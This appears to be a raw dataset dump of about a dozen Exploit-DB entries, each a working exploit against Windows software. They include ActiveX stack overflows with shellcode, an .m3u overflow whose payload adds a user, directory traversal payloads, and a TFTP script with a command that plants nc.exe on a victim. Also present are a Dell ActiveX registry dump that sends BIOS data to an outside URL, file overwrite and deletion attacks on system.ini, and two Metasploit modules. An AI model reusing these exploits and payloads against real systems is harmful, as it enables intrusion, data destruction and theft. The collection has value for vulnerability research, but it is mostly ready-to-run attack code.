deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6828
Description: db Software Laboratory VImpX - 'VImpX.ocx' Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2008-10-24
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 db Software Laboratory VImpX (VImpX.ocx) Multiple vulnerabilities
 url: http://www.dbsoftlab.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net
 
 Info:
 File:		VImpX.ocx v. 4.8.8.0
 CLSID:		{7600707B-9F47-416D-8AB5-6FD96EA37968}
 ProgID:	VImpX.VImpAX
 Description:	VImpAX Control
 
 Marked as:
  RegKey Safe for Script: False
  RegKey Safe for Init: False
  Implements IObjectSafety: True
  IDisp Safe: Safe for untrusted: caller,data  
  IPStorage Safe: Safe for untrusted: caller,data
 
 Vulnerbale method:
 Property Let LogFile As String
 Sub ClearLogFile
 Sub SaveToFile (ByVal FileName As String)

 Bug(s):
 #1 Passing an overly long string (more than 256 bytes), will lead into
    a stack based buffer overflow which allows arbitrary code execution
  
 #2 The "LogFile()" method doesn't check user supplied arguments so we can
    use it to store the file name we want to clear and then the
    "ClearLogFile()" to delete the content of the file

 #3 The "SaveToFile()" method doesn't check user supplied arguments so we
    can use it to overwrite the content of the file name passed as
    argument.

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='test' width='20' height='20'></object>

<input language=VBScript onclick=bof() type=button value='Click here to start the Remote Buffer Overflow test' style="width: 361px; height: 24px" size=21>

<input language=VBScript onclick=afd() type=button value='Click here to start the File Content Deletion test' style="width: 361px; height: 24px" size=21>

<input language=VBScript onclick=afc() type=button value='Click here to start the File Content Corruption test' style="width: 361px; height: 24px" size=21>


<script language='vbscript'>
 Sub bof
  buff = String(256,"A") 
  EDI  = unescape("BBBB") 
  ESI  = unescape("CCCC")
  EBX  = unescape("DDDD") 
  EIP  = unescape("%C6%91%3A%7E") 'unescape("EEEE") 
  buf2 = unescape("FFFFFFFFFFFFFFFFFFFF") 
  memo = unescape("%00%00%01%00") 
  rest = unescape("GGGG") + String(2000, "H")
  egg = buff + EDI + ESI + EBX + EIP + buf2 + memo + rest
  test.LogFile = egg
 End Sub

 Sub afd
  test.LogFile = "C:\WINDOWS\_system.ini"
  test.ClearLogFile
  MsgBox "Exploit completed..."
 End Sub

 Sub afc
  test.SaveToFile "C:\WINDOWS\_system.ini"
  MsgBox "Exploit completed..."
 End Sub
</script>

# milw0rm.com [2008-10-24]
Exploit-DB #5069
Description: dBpowerAMP Audio Player 2 - '.m3u' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-02-06
Author: securfrog

Exploit:
####################################################################
#
# dBpowerAMP Audio Player Release 2 Remote Buffer Overflow Exploit
#
#
#
#
#
#
#
$nop= "\x90" x 65;
#
# win32_exec - CMD=cmd /k net user /add secur frog Size=188 http://metasploit.comhttp://metasploit.com 253
#
my $shellcode =
"\x29\xc9\x83\xe9\xd7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6c".
"\x91\xfa\x54\x83\xeb\xfc\xe2\xf4\x90\x79\xbe\x54\x6c\x91\x71\x11".
"\x50\x1a\x86\x51\x14\x90\x15\xdf\x23\x89\x71\x0b\x4c\x90\x11\x1d".
"\xe7\xa5\x71\x55\x82\xa0\x3a\xcd\xc0\x15\x3a\x20\x6b\x50\x30\x59".
"\x6d\x53\x11\xa0\x57\xc5\xde\x50\x19\x74\x71\x0b\x48\x90\x11\x32".
"\xe7\x9d\xb1\xdf\x33\x8d\xfb\xbf\xe7\x8d\x71\x55\x87\x18\xa6\x70".
"\x68\x52\xcb\x94\x08\x1a\xba\x64\xe9\x51\x82\x58\xe7\xd1\xf6\xdf".
"\x1c\x8d\x57\xdf\x04\x99\x11\x5d\xe7\x11\x4a\x54\x6c\x91\x71\x3c".
"\x50\xce\xcb\xa2\x0c\xc7\x73\xac\xef\x51\x81\x04\x04\x61\x70\x50".
"\x33\xf9\x62\xaa\xe6\x9f\xad\xab\x8b\xf2\x97\x30\x4c\xbe\x91\x74".
"\x02\xf4\x8e\x74\x19\xe2\x9f\x26\x4c\xbe\x9b\x30\x08\xb1\x89\x31".
"\x0f\xe4\x88\x74\x0a\xe3\x95\x33\x6c\x91\xfa\x54";
#
$eip = "\xe0\xec\xb8\x00";
#
$payload = "http://".$nop.$shellcode.$eip;
#
#
my $file="bob_marley_I_Shot_The_Sheriff.m3u";
#
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $payload;
close($FILE);
print "$file has been created \n";
print "Credits:Securfrog";

# milw0rm.com [2008-02-06]
Exploit-DB #14586
Description: dBpowerAMP Audio Player 2 - 'FileExists' ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2010-08-09
Author: s-dz

Exploit:
<html>

<OBJECT id=target classid=clsid:BECB8EE1-6BBB-4A85-8DFD-099B7A60903A></OBJECT>

<SCRIPT language=vbscript>

' Exploit Title: dBpowerAMP Audio Player 2 FileExists ActiveX Buffer Overflow 

' Author: Hadji Samir ,s-dz@hotmail.fr
 
' Tested on: Windows XP SP2 FR / IE6
 
' Down : http://www.dbpoweramp.com/bin/dBpowerAMP-r2.exe
 

buffer=String(352, "A")

jmp=unescape("%65%82%A6%7C") 'jmp esp from shell32.dll 0x7CA68265



buffer=String(352, "A")

nops = string(12, unescape("%90"))

shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") 

shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") 

shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47") 

shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38") 

shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e") 

shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54") 

shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33") 

shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a") 

shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43") 

shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49") 

shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a") 

nops1 = string(100, unescape("%90"))



arg1 = buffer + jmp + nops + shellcode + nops1 

target.Enque = arg1

</SCRIPT>
</HTML>
Exploit-DB #23461
Description: dcam webcam server personal Web server 8.2.5 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-12-22
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9273/info

It has been reported that the Personal Web Server of DCAM WebCam Server may be prone to a directory traversal vulnerability that may allow a remote attacker to traverse outside the server root directory by using '.\' character sequences.

DCAM WebCam server versions 8.2.5 and prior are reported to be prone to this issue.

http://www.example.com/.\.\.\.\/windows/system.ini
http://www.example.com/.\.\.\.\.\.\.\.\.\.\/windows/system.ini
Exploit-DB #14779
Description: Deepin TFTP Server 1.25 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-08-25
Author: demonalex

Exploit:
#Software : Deepin TFTP Server Directory Traversal Vulnerability Software Version : v1.25
#Vendor: Deepin.org
#Vulnerability Published : 2010-08-14
#Vulnerability Update Time :
#Status : 
#Impact : Medium
#Bug Description :
#Deepin TFTP Server does not properly sanitise filenames containing directory traversal sequences that are #received from an FTP client.
#Proof Of Concept :
#****************************************************************
#!/usr/bin/perl -w
$|=1;
$target_ip=shift || die "usage: $0 \$target_ip\n"; @directory_traversal=( '..\tmp.txt', '..\..\tmp.txt', '..\..\..\tmp.txt', '..\..\..\..\tmp.txt', '..\..\..\..\..\tmp.txt', '..\..\..\..\..\..\tmp.txt', '..\..\..\..\..\..\..\tmp.txt'
);
open(TMP, ">tmp.txt");
print TMP "tmp";
close(TMP);
foreach $dt_content (@directory_traversal){
	$dt_it=`tftp.exe $target_ip put tmp.txt $dt_content`;
	print "command : tftp.exe $target_ip put tmp.txt $dt_content\n";
	print "$dt_it";
	if($dt_it=~m/^Transferred successfully/){
		print "Directory Traversal PAYLOAD is $dt_content.\n";
		print "Press [ENTER] Button to continue...\n";
		<STDIN>;
	}
	sleep(3);
}
print "Finish!\n";
exit(0);
#****************************************************************
#Exploit :
#****************************************************************
#get sensitive file
#c:\windows\system32>tftp [VICTIM_IP] get ../../boot.ini boot.ini put malware c:\windows\system32>tftp [VICTIM_IP] put nc.exe ../../WINDOWS/system32/nc.exe
#****************************************************************
#Credits : This vulnerability was discovered by demonalex(at)163(dot)com Pentester/Researcher Dark2S Security Team/Venustech.GZ Branch
Exploit-DB #17557
Description: Dell IT Assistant - detectIESettingsForITA.ocx ActiveX Control
Type: remote
Platform: windows
Date: 2011-07-21
Author: rgod

Exploit:
<!--
Dell IT Assistant detectIESettingsForITA.ocx ActiveX Control
readRegVal() Remote Registry Dump Vulnerability

download uri:
ftp://ftp.us.dell.com/sysman/OM-ITAssistant-Dell-Web-WIN-6.5.0-2247_A01.21.exe

ActiveX settings:

CLSID: {6286EF1A-B56E-48EF-90C3-743410657F3C}
ProgID: DETECTIESETTINGS.detectIESettingsCtrl.1
Binary path: C:\WINDOWS\DOWNLO~1\DETECT~1.OCX
File Version: 8.1.0.0
Safe for Scripting (Registry): TRUE
Safe for Initialization: TRUE

The readRegVal() method allows to dump specific values from
the Windows registry. 
Frome the typelib:

...
        /* DISPID=1 */
        /* VT_BSTR [8] */
        function readRegVal(
                /* VT_BSTR [8]  */ $root,
                /* VT_BSTR [8]  */ $key,
                /* VT_BSTR [8]  */ $tag
                )
        {
                /* method readRegVal */
        }
...

Instead of searching inside a specific hive,
this control asks to specify a root key.
In my experience, lots of application stores encrypted or even
clear text passwords inside the registry, so an attacker
can abuse this to gain certain credentials from the victim
browser. If you ask me, this is not acceptable.

This sample code extracts BIOS informations and
redirects to a specified url with this info
passed as parameters.
Through some more programming efforts, you could dump a bigger 
portion of the registry.


rgod
-->
<html>
<object classid='clsid:6286EF1A-B56E-48EF-90C3-743410657F3C' id='obj' />
</object>
<script>

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BaseBoardManufacturer");
document.write(x + "<BR>");

url="http://www.sdfsdsdfsdfsffsdf.com/log.php?BM=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BaseBoardProduct");
document.write(x + "<BR>");

url+= "&BP=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BaseBoardVersion");
document.write(x + "<BR>");

url+= "&BV=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BIOSVendor");
document.write(x + "<BR>");

url+= "&BIOSV=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BIOSVersion");
document.write(x + "<BR>");

url+= "&BIOSVE=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","SystemManufacturer");
document.write(x + "<BR>");

url+= "&SM=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","SystemProductName");
document.write(x + "<BR>");

url+= "&SP=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","SystemVersion");
document.write(x + "<BR>");

url+= "&SV=" + escape(x);

document.location= url;
</script>
Exploit-DB #45574
Description: Delta Electronics Delta Industrial Automation COMMGR 1.08 - Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2018-10-09
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow in Delta Electronics Delta Industrial
        Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially
        crafted packets. This module has been tested successfully on Delta Electronics Delta
        Industrial Automation COMMGR 1.08 over
          Windows XP SP3,
          Windows 7 SP1, and
          Windows 8.1.
      },
      'Author'         =>
        [
          'ZDI',        # Initial discovery
          't4rkd3vilz', # PoC
          'hubertwslin' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2018-10594' ],
          [ 'BID', '104529' ],
          [ 'ZDI', '18-586' ],
          [ 'ZDI', '18-588' ],
          [ 'EDB', '44965' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-172-01' ]
        ],
      'Payload'        =>
        {
          'Space'          => 640,
          'DisableNops'    => true,
          'BadChars'       => "\x00"
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'COMMGR 1.08 / Windows Universal',
            {
              'Ret'    => 0x00401e14, # p/p/r COMMGR.exe
              'Offset' => 4164
            }
          ],
        ],
      'DisclosureDate' => 'Jul 02 2018',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(502)
      ])
  end

  def exploit
    data =  rand_text_alpha(target['Offset'])
    data << "\xeb\x27\x90\x90"    # jmp short $+27 to the NOP sled
    data << [target.ret].pack("V")
    data << make_nops(40)
    data << payload.encoded

    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
    connect
    sock.put(data)
    disconnect
  end
end
Exploit-DB #3927
Description: DeWizardX - 'DEWizardAX.ocx' Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2007-05-15
Author: shinnai

Exploit:
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/15</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------
 <b>DB Software Laboratory DeWizardX (DEWizardAX.ocx) Remote Arbitrary File Overwrite</b>
 url: http://www.dbsoftlab.com
 price: $100

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
-----------------------------------------------------------------------------------

<object classid='clsid:90403303-EF21-4771-A41A-651089892EDD' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/15 - DB Software Laboratory")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-15]
Exploit-DB #27325
Description: DirectContact 0.3.b - Directory Traversal
Type: remote
Platform: windows
Date: 2006-02-27
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/16849/info

DirectContact is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

The following proof of concept is available:

http://www.example.com:[port]/..\..\..\..\windows/system.ini

GET /../../../../../../windows/system.ini HTTP/1.1
Exploit-DB #44157
Description: Disk Pulse Enterprise 10.4.18 - 'Import Command' Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2018-02-21
Author: Daniel Teixeira

Exploit:
#!/usr/bin/env python

# Exploit Title: Disk Pulse Enterprise v10.4.18 - 'Import Command' Buffer Overflow (SEH)
# Date: 2018-01-22
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.diskpulse.com
# Software Link: http://www.diskpulse.com/setups/diskpulseent_setup_v10.4.18.exe
# Version: 10.4.16
# Tested on: Windows 7 SP1 x86
# CVE: CVE-2017-7310 

import os,struct

#Buffer overflow
junk = "A"*1560

#JMP ESP (QtGui4.dll)
jmpesp= struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"

#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4C"
#JMP ESP
jmp = "\xFF\xE0"

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (QtGui4.dll)
SEH = struct.pack('<L',0x67033072)

#CALC.EXE
shellcode =  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"

#PAYLOAD
payload = junk + jmpesp + nops * 16 + esp + jmp + nops * 68 + nSEH + SEH + nops * 10 + shellcode + nops * 5000

#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + payload + '\n</classify>'

f = open('Exploit.xml', 'w')
f.write(file)
f.close()
Exploit-DB #42767
Description: Disk Pulse Enterprise 9.9.16 - GET Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-21
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Disk Pulse Enterprise GET Buffer Overflow',
      'Description'    => %q(
        This module exploits an SEH buffer overflow in Disk Pulse Enterprise
        9.9.16. If a malicious user sends a crafted HTTP GET request
        it is possible to execute a payload that would run under the Windows
        NT AUTHORITY\SYSTEM account.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chance Johnson', # msf module - albatross@loftwing.net
          'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
        ],
      'References'     =>
        [
          [ 'EDB', '42560' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'EncoderType' => "alpha_mixed",
          'BadChars' => "\x00\x0a\x0d\x26"
        },
      'Targets'        =>
        [
          [ 'Disk Pulse Enterprise 9.9.16',
            {
              'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
              'Offset' => 2492
            }]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Aug 25 2017',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(80)])
  end

  def check
    res = send_request_cgi(
      'uri'    =>  '/',
      'method' =>  'GET'
    )

    if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Generating exploit...")
    exp = payload.encoded
    exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
    exp << generate_seh_record(target.ret)
    exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
    exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
    exp << 'B' * (5000 - exp.length) # padding

    print_status("Sending exploit...")

    send_request_cgi(
      'uri' =>  '/../' + exp,
      'method' =>  'GET',
      'host' =>  '4.2.2.2',
      'connection' =>  'keep-alive'
    )

    handler
    disconnect
  end
end